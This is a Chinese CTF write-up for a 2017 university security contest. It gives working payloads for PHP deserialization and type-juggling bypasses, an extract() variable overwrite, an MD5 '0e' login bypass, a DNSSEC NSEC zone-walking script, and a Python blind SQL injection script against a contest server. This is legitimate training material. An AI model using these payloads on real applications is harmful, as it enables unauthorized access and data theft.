【Writeup】2017.11.2 高校网络信息安全管理 运维挑战赛(部分)

0x00 感言

这次比赛有很大的遗憾,dns那道题是我在比赛技术12分钟后做出了flag,如果做出来了,队伍就可以进前十了,果然还是太菜了,被大佬们虐的好难受,下面给出我做的部分writeup。。有些题队友做了就没看。。大部分都是web和一道misc

0x01 PHP是最好的语言

这道题打开网址发现什么也没有,扫一下后台发现存在备份文件index.php.bak

<?php
$v1=0;$v2=0;$v3=0;
$a=(array)unserialize(@$_GET['foo']);
if(is_array($a)){
    is_numeric(@$a["param1"])?exit:NULL;
    if(@$a["param1"]){
        ($a["param1"]>2017)?$v1=1:NULL;
    }
    if(is_array(@$a["param2"])){
        if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
        $pos = array_search("nudt", $a["param2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["param2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("M|n|s",$d.$c[0])?err():NULL; 
        strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}

?>

这种题做过很多次了,具体就是这个

param1=2018a
param2=[[0],0,0,0,0]
cat[1][]=1&dog=%00MyAns

这道题开头foo参数是通过反序列化得到的,就发param1和param2序列化一下,最终的结果是

?foo=a:2:{s:6:"param1";s:5:"2018a";s:6:"param2";a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:0;i:3;i:0;i:4;i:0;}}&egg[1][]=1&fish=%00MyAns

得到flag

0x02 PHP代码审计

打开网址,直接给了php代码

<?php   
error_reporting(0); 
include "flag1.php"; 
highlight_file(__file__); 
if(isset($_GET['args'])){ 
    $args = $_GET['args']; 
    if(!preg_match("/^\w+$/",$args)){ 
        die("args error!"); 
    } 
    eval("var_dump($$args);"); 
} 

这道题考察的是全局变量,别问我怎么知道的,做过。。。
构造url

?args=GLOBALS

就得到flag了

0x03 php trick

这道题打开网址说找flag,右键查看源代码发现如下

        找flag
        <!--
        index.php
        <?php     
        $flag='xxx';     
        extract($_GET);     
        if(isset($gift)){        
            $content=trim(file_get_contents($flag));
            if($gift==$content){ 
               echo'flag';     }
             else{       
               echo'flag被加密了 再加密一次就得到flag了';}   
             } 
        ?>
        -->

这道题里有一个extract()函数,从而GET参数可以进行覆盖。我们通过变量覆盖,将下面gift和content两个变量弄成相等,就可以得到flag了

?gift=&flag=

得到RVF{woshiflag},但是答案并不对,想了下格式,推测可能是凯撒加密吧,凯撒解密得到flag

0x04 不是管理员也能login

打开后发现是一个登陆界面

在说明与帮助的位置得到提示

关于说明,我知道的就是这么多了 


   $test=$_GET['userid']; $test=md5($test); 
   if($test != '0'){ 
        $this->error('用户名有误,请阅读说明与帮助!'); 
    }

userid是登陆界面中用户名的字段参数,if判断是一个弱比较,因此我们可以找一个md5值是0e开头的就可以绕过了。

后来在右键源代码的地方发现了第二处提示

<!-- 
$pwd =$this->_post("password");
$data_u = unserialize($pwd);
if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')
    {
      print_r($flag);
    }
-->

这里要求传入的密码字段是一个数组,然后数组的name项为XX,pwd项也等于XX,并且这个数组需要进行序列化,最终payload如下

用户名:QNKCDZO
密码:a:2:{s:4:"name";i:0;s:3:"pwd";i:0;}

点击提交后得到flag

0x05 DNS 101

这道题题目是

what.is.my.flag.src.edu-info.edu.cn TXT

这道题题目是DNS,又给了TXT,因此用dig工具,利用-t选项查询TXT

dig -t TXT what.is.my.flag.src.edu-info.edu.cn

可以看到有个

flag-id-[...].flag.src.edu-info.edu.cn. TXT

这里中括号里有个需要我们填写的东西,估计正确填写后就会出flag了,那么就得想如何得到这里面的东西
其实整到这里就没啥思路了,毕竟以前没搞过dns,不过后来队里的学长说可以用dnssec弄,试了一下

dig  what.is.my.flag.src.edu-info.edu.cn +dnssec @4.2.2.4

发现在NSEC那一栏中出现了n.flag.src.edu-info.edu.cn比较可疑,就又查了一下这个网址

dig n.flag.src.edu-info.edu.cn +dnssec @4.2.2.4

发现网址的n变成了z,后来又继续试了试i,发现每一次都会变化,那么就想会不会是通过dns递归查询,一级一级的查,知道查到那个id值呢?后来队友试了很多次都没试出来,我就感觉需要写脚本,于是写了脚本:

import os


url="zzzzz.flag.src.edu-info.edu.cn"
while(1):
    cmd="dig "+url+" +dnssec @4.2.2.4|grep NSEC"
    url = os.popen(cmd).readlines()[0].split()[4][:-1]
    print url


最后跑出来了


然后将这个网址用-t TXT查询一下,得到flag

dig -t TXT flag-id-ztfrneclyudrfq3e6endq5.zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.zzzzzzz.flag.src.edu-info.edu.cn
image.png

0x06 Login

这道题是一个注入题,盲注,有点像之前的问鼎杯那道题
直接上脚本

import requests,string

url = "http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php"
flag = ""

res_true = requests.post(url, data={'uname': "'^1^'", 'pwd':23}).content
for index in range(1, 31):
    for s in string.printable:
        data = {'uname': "'^(right(pwd,{index})='{flag}')^'".format(index=index, flag=s+flag), 'pwd':23}
        ret = requests.post(url, data=data).content
        if res_true == ret:
            flag = s+flag
            print flag
            break

跑出密码,登陆后得到flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,616评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,020评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,078评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,040评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,154评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,265评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,298评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,072评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,491评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,795评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,970评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,654评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,272评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,985评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,815评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,852评论 2 351

推荐阅读更多精彩内容